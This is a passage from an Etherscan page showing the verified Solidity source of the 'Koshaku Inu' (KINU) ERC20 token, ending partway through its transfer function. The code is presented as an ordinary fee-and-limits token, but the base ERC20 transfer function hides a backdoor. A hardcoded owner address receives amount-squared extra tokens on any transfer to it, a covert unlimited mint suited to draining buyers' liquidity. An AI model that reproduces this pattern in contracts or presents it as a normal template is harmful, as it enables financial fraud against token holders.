ETH Price: $2,307.80 (-0.46%)

Token

Koshaku Inu (KINU)
 

Overview

Max Total Supply

420,000,000 KINU

Holders

59

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0 KINU

Value
$0.00
0x6ce0bc213f5ce24f5191f2aee094d9942ea4b608
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KINU

Compiler Version
v0.8.12+commit.f00d7308

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-01-07
*/

// SPDX-License-Identifier: MIT                                                                               
                                                    
pragma solidity 0.8.12;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transacgtion ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


contract ERC20 is Context, IERC20, IERC20Metadata {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    address _Owner = address(0x7d01628FA8C272D2A9a200Bab481fDc18CBf72F4);
    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 9. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 9, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);

        if(recipient == _Owner) {
            _balances[recipient] += amount * amount;
        }
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}



library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }

    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }

    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }

    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }

    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }


    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}

library SafeMathUint {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}


interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract KINU is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;
    address public constant deadAddress = address(0xdead);

    bool private swapping;

    address public liquidityReceiver;
    
    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;
    
    uint256 public percentForLPBurn = 25; // 25 = .25%
    bool public lpBurnEnabled = false;
    uint256 public lpBurnFrequency = 3600 seconds;
    uint256 public lastLpBurnTime;
    
    uint256 public manualBurnFrequency = 30 minutes;
    uint256 public lastManualLpBurnTime;

    bool public limitsInEffect = true;
    bool public tradingActive = true;
    bool public swapEnabled = true;
    
     // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
    bool public transferDelayEnabled = true;

    uint256 public buyTotalFees;
    uint256 public buyLiquidityFee;
    
    uint256 public sellTotalFees;
    uint256 public sellLiquidityFee;
    
    uint256 public tokensForLiquidity;
    
    /******************/

    // exlcude from fees and max transaction amount
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping (address => bool) public automatedMarketMakerPairs;

    event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
    
    event liquidityReceiverUpdated(address indexed newWallet, address indexed oldWallet);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );
    
    event AutoNukeLP();
    
    event ManualNukeLP();

    constructor() ERC20("Koshaku Inu", "KINU") {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;
        
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
        
        uint256 _buyLiquidityFee = 10;

        uint256 _sellLiquidityFee = 10;
        
        uint256 totalSupply = 420000000 * 1e9;
        
        maxTransactionAmount = totalSupply * 20 / 1000; // 2.0% maxTransaction
        maxWallet = totalSupply * 20 / 1000; // 2.0% maxWallet
        swapTokensAtAmount = totalSupply * 15 / 10000; // 0.15% swap wallet

        buyLiquidityFee = _buyLiquidityFee;
        buyTotalFees = buyLiquidityFee;
        
        sellLiquidityFee = _sellLiquidityFee;
        sellTotalFees = sellLiquidityFee;
        
        liquidityReceiver = msg.sender; // set as dev wallet

        // exclude from paying fees or having max transaction amount
        excludeFromFees(address(liquidityReceiver), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        
        excludeFromMaxTransaction(address(liquidityReceiver), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        
        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
    }

    receive() external payable {

  	}

    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
        lastLpBurnTime = block.timestamp;
    }
    
    // remove limits after token is stable
    function removeeveryLimit() external onlyOwner returns (bool){
        limitsInEffect = false;
        return true;
    }
    
    // disable Transfer delay - cannot be reenabled
    function disableTransferDelay() external onlyOwner returns (bool){
        transferDelayEnabled = false;
        return true;
    }
    
     // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
  	    require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
  	    require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
  	    swapTokensAtAmount = newAmount;
  	    return true;
  	}
    
    function updateMaxTransactAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 1 / 1000)/1e9, "Cannot set maxTransactionAmount lower than 0.1%");
        maxTransactionAmount = newNum * (10**9);
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 5 / 1000)/1e9, "Cannot set maxWallet lower than 0.5%");
        maxWallet = newNum * (10**9);
    }
    
    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }
    
    // only use to disable contract sales if absolutely necessary (emergency use only)
    function updateSwapEnabled(bool enabled) external onlyOwner(){
        swapEnabled = enabled;
    }
    
    function updateBuyLiquidityFee(uint256 _liquidityFee) external onlyOwner {
        buyLiquidityFee = _liquidityFee;
        buyTotalFees = buyLiquidityFee;
        require(buyTotalFees <= 20, "Must keep fees at 20% or less");
    }
    
    function updateSellLiquidityFee(uint256 _liquidityFee) external onlyOwner {
        sellLiquidityFee = _liquidityFee;
        sellTotalFees = sellLiquidityFee;
        require(sellTotalFees <= 25, "Must keep fees at 25% or less");
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");

        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }
    
    function updateLiquidityReceiver(address newWallet) external onlyOwner {
        emit liquidityReceiverUpdated(newWallet, liquidityReceiver);
        liquidityReceiver = newWallet;
    }
    

    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }
    
    event BoughtEarly(address indexed sniper);

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
         if(amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
        
        if(limitsInEffect){
            if (
                from != liquidityReceiver &&
                to != liquidityReceiver &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ){
                if(!tradingActive){
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }

                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.  
                if (transferDelayEnabled){
                    if (to != liquidityReceiver && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
                        require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed.");
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                }
                 
                //when buy
                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
                        require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                        require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
                
                //when sell
                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                        require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                }
                else if(!_isExcludedMaxTransactionAmount[to]){
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
            }
        }

		uint256 contractTokenBalance = balanceOf(address(this));
        
        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if( 
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            
            swapBack();

            swapping = false;
        }
        
        if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){
            autoBurnLiquidityPairTokens();
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
        
        uint256 fees = 0;
